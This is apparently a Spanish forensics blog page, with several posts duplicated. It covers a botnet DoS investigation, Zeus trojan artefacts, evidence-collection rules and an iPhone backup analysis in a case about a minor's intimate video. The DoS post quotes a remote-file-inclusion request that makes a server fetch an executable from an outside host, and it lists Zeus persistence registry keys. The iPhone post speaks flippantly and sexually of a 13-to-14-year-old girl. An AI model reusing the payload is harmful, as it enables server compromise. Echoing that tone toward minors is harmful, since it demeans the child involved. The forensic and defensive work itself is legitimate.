Conexión Inversa
Cosas sobre Análisis Forense Informático
Actualizado: hace 11 horas 53 mins
Nos vamos a Almería
La Universidad de Almería lleva acabo, del 12 al 16 de Julio, el curso de verano "Seguridad en entornos Web. E-Comercio y E-Administración", un curso dirigido tanto a alumnos con perfil técnico, como a alumnos de la rama de economía, empresariales y derecho.
En este curso participaran tanto profesores de la Universidad de Almería como expertos ajenos a la misma.
El Objetivo del curso es poner en conocimiento las actuaciones del Estado en materia de Seguridad Informática, mostrando las ventajas e inseguridades actuales a las que se expone un usuario
Yo aportare mi granito con una conferencia sobre "Autopsia de una intrusión y seguridad en Banca Electrónica por Internet".
Aquí hay más información
Y me han dicho que esta muy bueno el bacalao al estilo Almeriense. ¿será verdad? ;-)
En este curso participaran tanto profesores de la Universidad de Almería como expertos ajenos a la misma.
El Objetivo del curso es poner en conocimiento las actuaciones del Estado en materia de Seguridad Informática, mostrando las ventajas e inseguridades actuales a las que se expone un usuario
Yo aportare mi granito con una conferencia sobre "Autopsia de una intrusión y seguridad en Banca Electrónica por Internet".
Aquí hay más información
Y me han dicho que esta muy bueno el bacalao al estilo Almeriense. ¿será verdad? ;-)
Nos vamos a Valencia...
Al curso de verano.
Tras realizar las dos ediciones anteriores en Salamanca, este año, de la mano de la Universidad Europea de Madrid, y merced a la colaboración con el Máster Universitario en Seguridad de las Tecnologías de la Información y las Comunicaciones , tendrá lugar en Valencia durante los días 6, 7 y 8 de Julio.
Yo aportaré mi granito de arena el día 7 con la conferencia "Analisis forense en una fuga de datos".
Y degustare eso que dicen del agua de Valencia, con la sed que llevo ;-)
Tras realizar las dos ediciones anteriores en Salamanca, este año, de la mano de la Universidad Europea de Madrid, y merced a la colaboración con el Máster Universitario en Seguridad de las Tecnologías de la Información y las Comunicaciones , tendrá lugar en Valencia durante los días 6, 7 y 8 de Julio.
Yo aportaré mi granito de arena el día 7 con la conferencia "Analisis forense en una fuga de datos".
Y degustare eso que dicen del agua de Valencia, con la sed que llevo ;-)
¡¡ Que vienen los Zombis !! (Historia de una denegación de servicio)
Hola lectores,
Voy a comentar algo que nos puede suceder a todos, una denegación de servicio.
El caso es el siguiente, empresa suministradora de productos de recambios de automóvil, tiene un servicio web (en PHP) de seguimiento de pedidos y comercio electrónico. Desde hace un tiempo parece que el servicio que prestan se degrada, haciendo imposible el acceso a la web.
Viernes 4 de Junio (15:30h)
El servidor web empieza a ir excesivamente lento, parece que va mal la aplicación web. Los informáticos restablecen el servicio.
Lunes 7 de Junio
Parece que el servidor no muestra el contenido de su web o parece que tarda en exceso en servir las páginas, parece que está caido. Tras comprobar que la máquina está bien, se ve que contiene multiples instancias del servidor web apache. Tras reiniciarlo al momento vuelve a tener problemas de carga. Esto se mantiene prácticamente durante todo el día.
Martes 8 de Junio
8:30h .- El servidor sigue sin señales de vida, se precisa con urgencia que el servidor este activo, dado que la mayoria de los pedidos se realiza por comercio electrónico. Gran tensión en el departamento comercial y de compras. Se llega a la conclusión que desconectando el cable de red (el de internet) la aplicación funciona correctamente en localhost
9:30h.- Analizamos lo sucedido:
Aplicación a medida de comercio electrónico en PHP con LAMP, todo monitorizado con Nagios y Awstats.
Empezamos con lo que me dan, analizando las estadisiticas. Podemos ver que efectivamente hay un considerable aumento
Mas cuando nos indican que el pico más alto de visitas es de unos 300 diarios, en el peor de los casos.
Si vemos la memoria de la máquina comprobamos que esta algo saturada
Y si vemos el tráfico de red, ni que decir tiene
Es decir, parece que además del número excesivo de conexiones, hay algo desbocado.
10:00h.- Conseguimos hacer un netstat a la máquina y esta devuelve la sorprendente lista de más de 75.000 conexiones al servidor web, tras direccionarlo a fichero (mas comodo para trabajar) vemos que la mayoria de direcciones viene del rango 222.73.68.X y que la ip 222.73.68.23 es la que más conexiones activas tiene. Tiene pinta de una botnet
Si lo intentamos Geolocalizar vemos que casi todas y especialmente estas son de China
Vamos a grabar el tráfico de red, utilizando TCPDUMP, para posteriormente análizar el mismo.
10:10h.- Vemos el log de apache, esto es importante, despues de un buen rato me choca las líneas que se repiten, especialmente esta:
222.73.68.23/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.24/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.99/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
Abro mi máquina virtual y desde el navegador introduzco la URL que me redirecciona al dominio 'asf.wdn.com', que ha su vez me regala un caramelito que más tarde será objeto de estudio
NOTA: Cuidadin que está todavia activa y te descarga algo
10:11h.- Cerramos en el cortafuegos todo el rango posible de la red 222. El servidor empieza a tener mejorias y el servicio se restablece.
10:20h.- Se decide por parte de los responsables cerrar el mayor rango posible de IP's de Asia.
11:00h.- Se cierra el caso y el servidor funciona perfectamente.
12:00h.- Me he llevado el EXE de la página web maliciosa y el tráfico en formato PCAP
13:20h.- Vamos a revisar el fichero del TCPDUMP con Whireshark. Tras un rato veo lo siguiente. Rh/cath/bin..Rhsswdh//pah/etc, todo apunta que además de las conexiones están mandando algo al servidor web
Tiene pinta de lo que es, un Shellcode, vamos a intentar guardar esa porción de código y proceder a su desemsablado
Y ahora que ya lo tenemos vamos a compilarlo y lanzarlo en un entorno controlado.
Bueno, pues todo apunta a un exploit remoto que en aparencia devuelve el contenido del fichero passwd.
AHORA A POR EL EJECUTABLE
Vamos a lanzar en una máquina virtual (sin actualizaciones) windows xp con IE 6.0 y corriendo Process Monitor de Sysinternals y una utilidad que me ha venido muy bien en alguna ocasión que se llama SpyMonitor y que sirve para monitorizar los cambios y ver a posteriori las diferencias.
Estos son los resultados:
Con privilegio de administrador se han creado los siguientes ficheros
%systemroot%\system32\sdra64.exe
%systemroot%\system32\lowsec
%systemroot%\system32\lowsec\user.ds
%systemroot%\system32\lowsec\user.ds.lll
%systemroot%\system32\lowsec\local.ds Sin ser administradores:
%appdata%\sdra64.exe
%appdata%\lowsec
%appdata%\lowsec\user.ds
%appdata%\lowsec\user.ds.lll
%appdata%\lowsec\local.dsCambios que se han realizado en el registro:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinlogonEn la clave 'userinit'
"Userinit" = "C:\WINDOWS\system32\userinit.exePor esta nueva:
"Userinit" = "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\sdra64.exe"Sin ser administradores
HKCU\Software\Microsoft\Windows\CurrentVersion\RunEn la clave 'userinit'
"Userinit" = "C:\Documents and Settings\%;user%;\Application Data\sdra64.exe"
Googleando y por lo que dicen en los foros, todo apunta a una variante del ya famoso troyano ZEUS y para poner la puntilla he búscado la IP atacante en Zeus Tracker. Zeus Tracker proporciona la posibilidad para realizar un seguimiento de ZeuS (servidores, paneles de control) y los host maliciosos que albergan los archivos de Zeus.
Y aquí tenemos nuestra IP Zombi
Muy, muy curioso...Seguiremos investigando
Quiero agradecer la ayuda a Eduardo Abril, que me ha ayudado en el desemsablado del shellcode
Voy a comentar algo que nos puede suceder a todos, una denegación de servicio.
El caso es el siguiente, empresa suministradora de productos de recambios de automóvil, tiene un servicio web (en PHP) de seguimiento de pedidos y comercio electrónico. Desde hace un tiempo parece que el servicio que prestan se degrada, haciendo imposible el acceso a la web.
Viernes 4 de Junio (15:30h)
El servidor web empieza a ir excesivamente lento, parece que va mal la aplicación web. Los informáticos restablecen el servicio.
Lunes 7 de Junio
Parece que el servidor no muestra el contenido de su web o parece que tarda en exceso en servir las páginas, parece que está caido. Tras comprobar que la máquina está bien, se ve que contiene multiples instancias del servidor web apache. Tras reiniciarlo al momento vuelve a tener problemas de carga. Esto se mantiene prácticamente durante todo el día.
Martes 8 de Junio
8:30h .- El servidor sigue sin señales de vida, se precisa con urgencia que el servidor este activo, dado que la mayoria de los pedidos se realiza por comercio electrónico. Gran tensión en el departamento comercial y de compras. Se llega a la conclusión que desconectando el cable de red (el de internet) la aplicación funciona correctamente en localhost
9:30h.- Analizamos lo sucedido:
Aplicación a medida de comercio electrónico en PHP con LAMP, todo monitorizado con Nagios y Awstats.
Empezamos con lo que me dan, analizando las estadisiticas. Podemos ver que efectivamente hay un considerable aumento
Mas cuando nos indican que el pico más alto de visitas es de unos 300 diarios, en el peor de los casos.
Si vemos la memoria de la máquina comprobamos que esta algo saturada
Y si vemos el tráfico de red, ni que decir tiene
Es decir, parece que además del número excesivo de conexiones, hay algo desbocado.
10:00h.- Conseguimos hacer un netstat a la máquina y esta devuelve la sorprendente lista de más de 75.000 conexiones al servidor web, tras direccionarlo a fichero (mas comodo para trabajar) vemos que la mayoria de direcciones viene del rango 222.73.68.X y que la ip 222.73.68.23 es la que más conexiones activas tiene. Tiene pinta de una botnet
Si lo intentamos Geolocalizar vemos que casi todas y especialmente estas son de China
Vamos a grabar el tráfico de red, utilizando TCPDUMP, para posteriormente análizar el mismo.
10:10h.- Vemos el log de apache, esto es importante, despues de un buen rato me choca las líneas que se repiten, especialmente esta:
222.73.68.23/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.24/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
222.73.68.99/inicio.php?page=asf.wdn.com/dbs/_note/getexe.php
Abro mi máquina virtual y desde el navegador introduzco la URL que me redirecciona al dominio 'asf.wdn.com', que ha su vez me regala un caramelito que más tarde será objeto de estudio
NOTA: Cuidadin que está todavia activa y te descarga algo
10:11h.- Cerramos en el cortafuegos todo el rango posible de la red 222. El servidor empieza a tener mejorias y el servicio se restablece.
10:20h.- Se decide por parte de los responsables cerrar el mayor rango posible de IP's de Asia.
11:00h.- Se cierra el caso y el servidor funciona perfectamente.
12:00h.- Me he llevado el EXE de la página web maliciosa y el tráfico en formato PCAP
13:20h.- Vamos a revisar el fichero del TCPDUMP con Whireshark. Tras un rato veo lo siguiente. Rh/cath/bin..Rhsswdh//pah/etc, todo apunta que además de las conexiones están mandando algo al servidor web
Tiene pinta de lo que es, un Shellcode, vamos a intentar guardar esa porción de código y proceder a su desemsablado
Y ahora que ya lo tenemos vamos a compilarlo y lanzarlo en un entorno controlado.
Bueno, pues todo apunta a un exploit remoto que en aparencia devuelve el contenido del fichero passwd.
AHORA A POR EL EJECUTABLE
Vamos a lanzar en una máquina virtual (sin actualizaciones) windows xp con IE 6.0 y corriendo Process Monitor de Sysinternals y una utilidad que me ha venido muy bien en alguna ocasión que se llama SpyMonitor y que sirve para monitorizar los cambios y ver a posteriori las diferencias.
Estos son los resultados:
Con privilegio de administrador se han creado los siguientes ficheros
%systemroot%\system32\sdra64.exe
%systemroot%\system32\lowsec
%systemroot%\system32\lowsec\user.ds
%systemroot%\system32\lowsec\user.ds.lll
%systemroot%\system32\lowsec\local.ds Sin ser administradores:
%appdata%\sdra64.exe
%appdata%\lowsec
%appdata%\lowsec\user.ds
%appdata%\lowsec\user.ds.lll
%appdata%\lowsec\local.dsCambios que se han realizado en el registro:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinlogonEn la clave 'userinit'
"Userinit" = "C:\WINDOWS\system32\userinit.exePor esta nueva:
"Userinit" = "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\sdra64.exe"Sin ser administradores
HKCU\Software\Microsoft\Windows\CurrentVersion\RunEn la clave 'userinit'
"Userinit" = "C:\Documents and Settings\%;user%;\Application Data\sdra64.exe"
Googleando y por lo que dicen en los foros, todo apunta a una variante del ya famoso troyano ZEUS y para poner la puntilla he búscado la IP atacante en Zeus Tracker. Zeus Tracker proporciona la posibilidad para realizar un seguimiento de ZeuS (servidores, paneles de control) y los host maliciosos que albergan los archivos de Zeus.
Y aquí tenemos nuestra IP Zombi
Muy, muy curioso...Seguiremos investigando
Quiero agradecer la ayuda a Eduardo Abril, que me ha ayudado en el desemsablado del shellcode
Recolección de evidencias (Parte I)
Hola lectores,
Muchos sois los que llevais pidiendo información de que métodos son los empleados para la recolección de evidencias.
Voy a tratar de poner en dos post más o menos los pasos que sigo para que de alguna forma sea valido ante el juez, el primer post trata de la parte física y el segundo de un pequeño cuestionario que es interesante cuando no se obtiene toda la información o es parcial.
Aquí os dejo mis reglas de oro que hasta ahora son admitidas por los juzgados
EQUIPOS
DISPOSITIVOS MOVILES
Muchos sois los que llevais pidiendo información de que métodos son los empleados para la recolección de evidencias.
Voy a tratar de poner en dos post más o menos los pasos que sigo para que de alguna forma sea valido ante el juez, el primer post trata de la parte física y el segundo de un pequeño cuestionario que es interesante cuando no se obtiene toda la información o es parcial.
Aquí os dejo mis reglas de oro que hasta ahora son admitidas por los juzgados
EQUIPOS
- Realizar una sesión fotográfica de la sala antes de comenzar la tarea, la entrada y distintas salidas (si las hubiera) como por ejemplo ventanas. Las fotos deben de tener sobreimpresa digitalmente la fecha y hora.
- Fotografíe el ordenador de frente con los cables y por detrás, así como dispositivos conectados tal y como se encuentran. Haga más de una foto si es preciso
- No utilice el ordenador ni intente buscar pruebas.
- Si el equipo está "apagado", no "encender".
- Si el equipo está "encendido" y se muestran los mensajes en el monitor, realizar una fotografía de la pantalla.
- Si el equipo está "encendido" y la pantalla está en blanco, mueva el ratón o la barra de espacio (esto mostrará la imagen activa en la pantalla). Realice a continuación la fotografía.
- Desconecte la fuente de alimentación del router.
- Desconecte el cable de alimentación de la parte posterior del equipo (No hacer un apagado ordenado)
- Realice un diagrama si es una red y empiece a crear las etiquetas (ver mi etiquetadora profesional) de los dispositivos conectados.
- Desconecte todos los demás cables y los dispositivos del equipo.
- Tenga preparada bolsas etiquetadas o en su defectos paquetes para el transporte de los dispositivos
- Haga lo mismo con los dispositivos extraibles (pendrives)
- Mantenga todos los medios de comunicación, incluido el equipo, lejos de los imanes, radiotransmisores y otros elementos potencialmente dañinos.
- Recopile manuales de instrucciones, documentación y posible notas que hubiera en el lugar (es recomendable proceder a su etiquetado).
- Documentar todos los pasos implicados en la adquisición del ordenador y sus componentes.
DISPOSITIVOS MOVILES
- Si el dispositivo está apagado "no" encender ".
- Con una PDA o teléfonos móviles, si el dispositivo está encendido, NO LO APAGUE. Si se apaga el dispositivo podría habilitar el password de inicio, por lo tanto impediría el acceso a las pruebas.
- Fotografíe el dispositivo y la pantalla (si está disponible).
- Etiquetar y recoger todos los cables (incluyendo la fuente de alimentación)
- Intentar que el dispositivo mantenga la batería en la medida de lo posible
- Etiquete el almacenamiento adicional de los dispositivos (Sticks de memoria, compact flash, etc).
- Documentar todos los pasos implicados en la adquisición del móvil y sus componentes.
Detenidas 25 personas e imputadas otras 21 por difundir Pornografía Infantil a través de la red Ares.
Este Grupo de Delitos Telemáticos de la Unidad Central Operativa de la Guardia Civil, en el marco de la operación “MERCADILLO”, desarrollada en varias comunidades autónomas, ha procedido a la detención de 25 personas e imputación de otras 21, por facilitar la distribución de archivos de contenido pedófilo a través de la red P2P ARES.
Durante la operación se han efectuado un total de 49 registros domiciliarios en los que se han intervenido numerosos dispositivos informáticos con contenido pedófilo.
Para llevar a cabo dicha búsqueda, los agentes se han valido de la nueva versión del buscador denominado “NAUTILUS” desarrollado por el Grupo de Delitos Telemáticos, cuyo objetivo es la detección del intercambio de material pedófilo a través de la red P2P ARES.
La selección de objetivos de entre todos los usuarios identificados por compartir alguno de los videos de pornografía infantil, se ha realizado siguiendo criterios jurisprudenciales que establecen un mínimo de ficheros pedófilos compartidos, para evitar conductas ocasionales o accidentales.
VISTO EN: La web de la Guardia Civil
Durante la operación se han efectuado un total de 49 registros domiciliarios en los que se han intervenido numerosos dispositivos informáticos con contenido pedófilo.
Para llevar a cabo dicha búsqueda, los agentes se han valido de la nueva versión del buscador denominado “NAUTILUS” desarrollado por el Grupo de Delitos Telemáticos, cuyo objetivo es la detección del intercambio de material pedófilo a través de la red P2P ARES.
La selección de objetivos de entre todos los usuarios identificados por compartir alguno de los videos de pornografía infantil, se ha realizado siguiendo criterios jurisprudenciales que establecen un mínimo de ficheros pedófilos compartidos, para evitar conductas ocasionales o accidentales.
VISTO EN: La web de la Guardia Civil
2 PARTE de: Te puede pasar a ti...(Forensics iPhone)
Hola lectores,
Vamos a continuar con la búsqueda del vídeo en el ordenador del menor, dado que el móvil iPhone ha desaparecido y por lo tanto no se puede analizar.
Los iPhone, disponen de una cámara compatible con los formatos de vídeo estándar y que graba unos 30 fotogramas por segundo en estéreo en los formatos de archivo M4a, M4v, MP4 y MOV. También cuando se graba un vídeo se almacena por defecto en una unidad flash (de 8, 16 o 32 GB). Como es de esperar en alguna sincronización entre el iphone e iTunes se habrá copiado las fotos y vídeos al disco duro del ordenador.
Lo primero y lo más sencillo es buscar ficheros con extensión M4a, M4v, MP4 y MOV. Tras un buen rato de búsqueda ha encontrado unos 30 ficheros con extensión MOV (En resumen os diré que ninguno de ellos pertenecía al vídeo que buscamos) por lo tanto nos tenemos que aplicar y estudiar más a fondo.
¿QUE HAY QUE SABER?
Para la búsqueda de imágenes y después de documentarme en la web de Apple, veo que los formatos de imágenes se componen (entre otros) de una serie de ficheros con la siguiente extensión:
Ficheros ITHMB: Contiene la galería (carrete) de imágenes
Ficheros BTH: Son archivos de datos BATHY Recorder.
Ficheros THM: Es utilizado por muchas aplicaciones diferentes para almacenar miniaturas.
Ficheros THL Es utilizado para las imágenes de los iconos
Ficheros THP: Son ficheros de vídeo muy utilizados en la Gamecube de Nintendo
Por lo tanto voy a la búsqueda de estos ficheros con el consiguiente resultado:
Solo dos ventanas me ofrecen resultado, la superior derecha con los resultados de ficheros HTM y la inferior derecha con un temporal del fichero ihtmb. ¡¡Vamos a ello!!
Tras un tiempo descarto los ficheros HTM , nada que ver con lo que busco, pero sin embargo el fichero ithmb me va a dar mucho juego
¡¡VEAMOS!!
Como decíamos estos ficheros contienen la galería (carrete) de imágenes, tras abrirlo con el editor hexadecimal sale en exceso mucha basura y por lo tanto no veo nada importante.
Googleando me encuentro una utilidad 'iThmbConv.exe' que extrae el contenido de estos ficheros sacando las miniaturas, quizás esta utilidad me ayude:
Y que es lo que ven mis ojosssssss; Eh Voilà!! Una miniatura. Esta me está dando en el nombre del archivo un dato muy revelador
Ya tengo una evidencia (que no la prueba). El fichero se llama IMG_0221.HTM, eso significa que el vídeo está asociado a ese fichero, por lo tanto sé que el vídeo tendrá en su nombre final del fichero el número 0221 y la extensión .MOV (*0221.MOV) por lo tanto si existe el fichero HTM, es posible que existiera en algún momento el vídeo, por lo tanto ¿Y si a este chico le dio por borrar el fichero?
Voy a proceder a intentar recuperar el fichero borrado, para ello me baso en mi kit de herramientas y que mejor...que mi famoso 'Recuva'. Tras una hora más o menos, consigo ver el resultado
¡¡ Aquí esta!!. Una vez recuperado procedemos a ver si se visualiza.
Perfecto se visualiza. Ya tenemos la prueba.
Es hora de recopilar información y hacer el pertinente informe. Nos vamos a otro caso.
Vamos a continuar con la búsqueda del vídeo en el ordenador del menor, dado que el móvil iPhone ha desaparecido y por lo tanto no se puede analizar.
Los iPhone, disponen de una cámara compatible con los formatos de vídeo estándar y que graba unos 30 fotogramas por segundo en estéreo en los formatos de archivo M4a, M4v, MP4 y MOV. También cuando se graba un vídeo se almacena por defecto en una unidad flash (de 8, 16 o 32 GB). Como es de esperar en alguna sincronización entre el iphone e iTunes se habrá copiado las fotos y vídeos al disco duro del ordenador.
Lo primero y lo más sencillo es buscar ficheros con extensión M4a, M4v, MP4 y MOV. Tras un buen rato de búsqueda ha encontrado unos 30 ficheros con extensión MOV (En resumen os diré que ninguno de ellos pertenecía al vídeo que buscamos) por lo tanto nos tenemos que aplicar y estudiar más a fondo.
¿QUE HAY QUE SABER?
Para la búsqueda de imágenes y después de documentarme en la web de Apple, veo que los formatos de imágenes se componen (entre otros) de una serie de ficheros con la siguiente extensión:
Ficheros ITHMB: Contiene la galería (carrete) de imágenes
Ficheros BTH: Son archivos de datos BATHY Recorder.
Ficheros THM: Es utilizado por muchas aplicaciones diferentes para almacenar miniaturas.
Ficheros THL Es utilizado para las imágenes de los iconos
Ficheros THP: Son ficheros de vídeo muy utilizados en la Gamecube de Nintendo
Por lo tanto voy a la búsqueda de estos ficheros con el consiguiente resultado:
Solo dos ventanas me ofrecen resultado, la superior derecha con los resultados de ficheros HTM y la inferior derecha con un temporal del fichero ihtmb. ¡¡Vamos a ello!!
Tras un tiempo descarto los ficheros HTM , nada que ver con lo que busco, pero sin embargo el fichero ithmb me va a dar mucho juego
¡¡VEAMOS!!
Como decíamos estos ficheros contienen la galería (carrete) de imágenes, tras abrirlo con el editor hexadecimal sale en exceso mucha basura y por lo tanto no veo nada importante.
Googleando me encuentro una utilidad 'iThmbConv.exe' que extrae el contenido de estos ficheros sacando las miniaturas, quizás esta utilidad me ayude:
Y que es lo que ven mis ojosssssss; Eh Voilà!! Una miniatura. Esta me está dando en el nombre del archivo un dato muy revelador
Ya tengo una evidencia (que no la prueba). El fichero se llama IMG_0221.HTM, eso significa que el vídeo está asociado a ese fichero, por lo tanto sé que el vídeo tendrá en su nombre final del fichero el número 0221 y la extensión .MOV (*0221.MOV) por lo tanto si existe el fichero HTM, es posible que existiera en algún momento el vídeo, por lo tanto ¿Y si a este chico le dio por borrar el fichero?
Voy a proceder a intentar recuperar el fichero borrado, para ello me baso en mi kit de herramientas y que mejor...que mi famoso 'Recuva'. Tras una hora más o menos, consigo ver el resultado
¡¡ Aquí esta!!. Una vez recuperado procedemos a ver si se visualiza.
Perfecto se visualiza. Ya tenemos la prueba.
Es hora de recopilar información y hacer el pertinente informe. Nos vamos a otro caso.
Te puede pasar a ti...(Forensics Iphone) PARTE I
Hola lectores,
Silvia y Mirian son unas adolescentes de 13 y 14 años respectivamente. A estas edades las hormonas se disparán y todo es color brillante y rosa. También como es habitual los fines de semana quedan en casa de Miriam para realizar una fiesta y tomar 'copas' en el jardín (como dicen los mas jovenes botellon privado). Allí se juntan con un grupo de chicos de su instituto y conforme pasan las horas y la ingesta de alcohol todo sube de tono. Que si un besito, que si te toco un poquito, etc.
El caso es que la cosa se desmadra y Silvia desaparece con dos chicos por el jardín. Pasado un rato y todo de buen rollo, se intercambian los números del móvil y se van a casa y aquí no ha pasado nada.
El caso resumiendo es el siguiente, Silvia fué grabada (¿sin saberlo?) desde un teléfono móvil en actitudes podríamos decir poco decorosas. En el instituto todo el mundo habla de que existe un un link de acceso a una descarga del vídeo desde Rapidshare (desde luego sin contraseña y a disposición de todo el mundo).
A estas estas edades todo se sabe y empieza a correr el rumor por el Instituto donde Silvia y Mirian estudian. Los profesores alertados por el problema deciden hablar con la chica y con sus padres. El caso se denuncia en la comisaría más próxima. Los padres acusan a los dos chicos de abusar de la chica (en el juicio quedo patente que fué consentido) y quieren que se requise todas las pruebas posibles que incriminen a los chicos. Curiosamente el móvil (un iphone, ¡¡con 14 años y ya tienen iphone!!) ha desaparecido. Esto cabrea a los abogados de los padres y alegra al buffete de abogados de su defendido, dado que no existiendo la prueba, no hay evidencia y por lo tanto es muy difícil mantener la acusación, como siempre en estos casos siempre prevalece la presunción de inocencia del acusado.
El Juez, decide aplazar el juicio a petición de los abogados de los padres para que se haga un análisis de los equipos y soportes informáticos que los chicos tengan en sus casas.
En el caso de que existiera el iphone disponemos de medios muy potentes en productos como cellebrite, Oxygen o Paraben, pero extremadamente caros para el común de los mortales. Por otro lado existen diversas técnicas que aunque mas rudimentarias nos aportan algo más de enseñanaza para un análisis forense.
Tras el previo análisis de uno de los ordenadores de los chicos, nos fijamos que dispone de iTunes, cosa muy importante dado que podremos obtener mucha información en el ordenador siempre que este hubiera sincronizado o hubiera realizado una copia de seguridad con el iphone.
En este caso vamos a ver como se ha resuelto.
El funcionamiento de sincronización de iTunes se basa en un controlador especifico en Windows y Mac que permite la comunicación segura entre ambos dispositivos, cuando se sincronizan o se hace una copia de seguridad, Windows almacena estos datos en un formato especifico de ficheros(si disponemos de la última versión del firmware) llamados mddata y mddinfo
Entre las cosas que sincroniza o se hacen copias de seguridad están:
Cuando el dispositivo se conecta por primera vez a iTunes y nunca estaba conectado anteriormente, iTunes generará un identificador alfanumérico 40 caracteres para el dispositivo. Este identificador, también conocido como el UDID (Unique Device Identifier), es también el nombre de la carpeta para este dispositivo dentro de la carpeta de copia de seguridad.
En el caso en concreto tenia más de una y tuve que ordenarlas por fecha para distinguirlas,también es conveniente realizar una copia de esta carpeta en el escritorio u otro dispositivo, para trabajar desde ella y no correr el riesgo de perderla. (es recomendable hacer un hash del contenido del directorio). Los ficheros que contiene pueden ser del siguiente formato:
TIPOS DE FICHEROS
plist
mdbackup
mddata
mdinfo
Archivos plist
Los archivos plist son archivos informativos donde se escribe el contenido en XML.
Hay 3 plist principales archivos generados como parte del proceso de copia de seguridad - Info.plist, Status.plist y Manifest.plist.
El archivo plist más importante es el archivo Info.plist ya que contiene información básica sobre el dispositivo, incluido el, nombre de dispositivo asignado por el usuario número de serie y número de teléfono. El info.plist también indicará la última fecha y la hora cuando el dispositivo fue copiado en el proceso de copia de seguridad.
archivo plist
El archivo Status.plist indica el estado del proceso de sincronización anterior o copia de seguridad. Si la sincronización o el proceso de copia de seguridad se completó correctamente, entonces el contenido indicaría que el backup se ha realizado correctamente.
El archivo Manifest.plist es un archivo binario plist real de los archivos de la copia de seguridad junto con la firma digital. Generalmente, este archivo no es de importancia forense.
Archivos mdbackup
Los archivos mdbackup también contiene datos importantes siendo el propio nombre de archivo es un valor hexadecimal alfanuméricos. En las versiones de firmware más recientes para el iPhone, los archivos. mdbackup se sustituye por la mddata.y mdinfo . A diferencia del mdbackup que todo el archivo contiene los metadatos en la nueva versión de firmware va a crear dos archivos - uno con la extensión mddata y el otro con la extensión mdinfo. El. mdinfo y mddata actuan como un igual y, por tanto, tienen el mismo nombre de archivo, pero las extensiones de archivo diferentes.
Archivos MDINFO y MDDATA
El mdinfo contendrá la información de metadatos sobre el archivo,como por ejemplo, la libreta de direcciones, SMS, historial de llamadas, etc. El mddata contendrá el contenido real de ese archivo. También hay que tener en cuenta que estos ficheros se pueden cifrar desde el propio programa de Itunes, (este no es el caso) y si así fuera se complicaria el análisis forense
¡¡EMPEZAMOS!!
Como hemos comentado anteriormente disponemos de una carpeta llamada '0387fecb24b358ec337ab2ad3323fb8e0bbc27ca' que contiene los ficheros a buscar. En la investigación me voy a centrar en los SMS's por ver si ha mandado algún mensaje a otro chico, indicando la posibilidad de que se descarge el vídeo y también voy a ver si contiene el vídeo en cuestión en el ordenador.
Algunos ficheros 'mddata' en sus metadatos tienen una estructura basada en SQLite. Para buscar que ficheros son los del SMS's y llamadas, voy a recurrir a la utilidad 'grep' (para windows) y voy a buscar un patron que suelen estar en la estructura de ficheros.
Patrones de búsqueda:
sms.db: SMS
call_history.db: Historico de llamadas
notes.db: Agenda y notas
En la siguiente pantalla se ha realizado en tres ordenes para el entendimiento del lector (se podría hacer en una línea)
Como podemos observar devuelve tres ficheros con extensión .mdinfo, como ya hemos dicho anteriormente a cada fichero .mdinfo le corresponde su fichero de igual nombre pero con extensión .mddata . Vamos a comprobar si realmente tiene un formato SQLite, para ello lo abrimos con un editor Hexadecimal y este es el resultado:
Se aprecia que es SQLite 3 y además se ve algún fragmento de texto de un SMS. Para que sea más sencillo su uso los vamos a tratar con SQLite Administrator para ver la información que contienen.
Este es el resultado del primer fichero 3d0d....:
Los datos se han truncado por motivos confidenciales, pero se ven tres columnas relativas al número de móvil que se envía, la fecha y el texto.
En la siguiente pantalla y tras una búsqueda nos da un mensaje revelador. Tenemos la evidencia relativa de que 'algo' se ha subido a internet....
Según se trata es filestube y no rapidshare (o son ambos), eso significa que el vídeo en cuestión sigue en circulación. Vamos a comprobar si somos capaces de encontrarlo en internet en base a una búsqueda de este patron en los ficheros .mddata, para ello empleamos la siguiente sintaxis:
grep -l "
Tras una búsqueda en múltiples ficheros damos con el resultado. Nota: se han trucado algunos datos
Si accedemos a la web vemos a la chica tal y como vino al mundo...
En el siguiente post veremos si el vídeo esta en el equipo y que medios utilizamos para verificarlo.
Silvia y Mirian son unas adolescentes de 13 y 14 años respectivamente. A estas edades las hormonas se disparán y todo es color brillante y rosa. También como es habitual los fines de semana quedan en casa de Miriam para realizar una fiesta y tomar 'copas' en el jardín (como dicen los mas jovenes botellon privado). Allí se juntan con un grupo de chicos de su instituto y conforme pasan las horas y la ingesta de alcohol todo sube de tono. Que si un besito, que si te toco un poquito, etc.
El caso es que la cosa se desmadra y Silvia desaparece con dos chicos por el jardín. Pasado un rato y todo de buen rollo, se intercambian los números del móvil y se van a casa y aquí no ha pasado nada.
El caso resumiendo es el siguiente, Silvia fué grabada (¿sin saberlo?) desde un teléfono móvil en actitudes podríamos decir poco decorosas. En el instituto todo el mundo habla de que existe un un link de acceso a una descarga del vídeo desde Rapidshare (desde luego sin contraseña y a disposición de todo el mundo).
A estas estas edades todo se sabe y empieza a correr el rumor por el Instituto donde Silvia y Mirian estudian. Los profesores alertados por el problema deciden hablar con la chica y con sus padres. El caso se denuncia en la comisaría más próxima. Los padres acusan a los dos chicos de abusar de la chica (en el juicio quedo patente que fué consentido) y quieren que se requise todas las pruebas posibles que incriminen a los chicos. Curiosamente el móvil (un iphone, ¡¡con 14 años y ya tienen iphone!!) ha desaparecido. Esto cabrea a los abogados de los padres y alegra al buffete de abogados de su defendido, dado que no existiendo la prueba, no hay evidencia y por lo tanto es muy difícil mantener la acusación, como siempre en estos casos siempre prevalece la presunción de inocencia del acusado.
El Juez, decide aplazar el juicio a petición de los abogados de los padres para que se haga un análisis de los equipos y soportes informáticos que los chicos tengan en sus casas.
En el caso de que existiera el iphone disponemos de medios muy potentes en productos como cellebrite, Oxygen o Paraben, pero extremadamente caros para el común de los mortales. Por otro lado existen diversas técnicas que aunque mas rudimentarias nos aportan algo más de enseñanaza para un análisis forense.
Tras el previo análisis de uno de los ordenadores de los chicos, nos fijamos que dispone de iTunes, cosa muy importante dado que podremos obtener mucha información en el ordenador siempre que este hubiera sincronizado o hubiera realizado una copia de seguridad con el iphone.
En este caso vamos a ver como se ha resuelto.
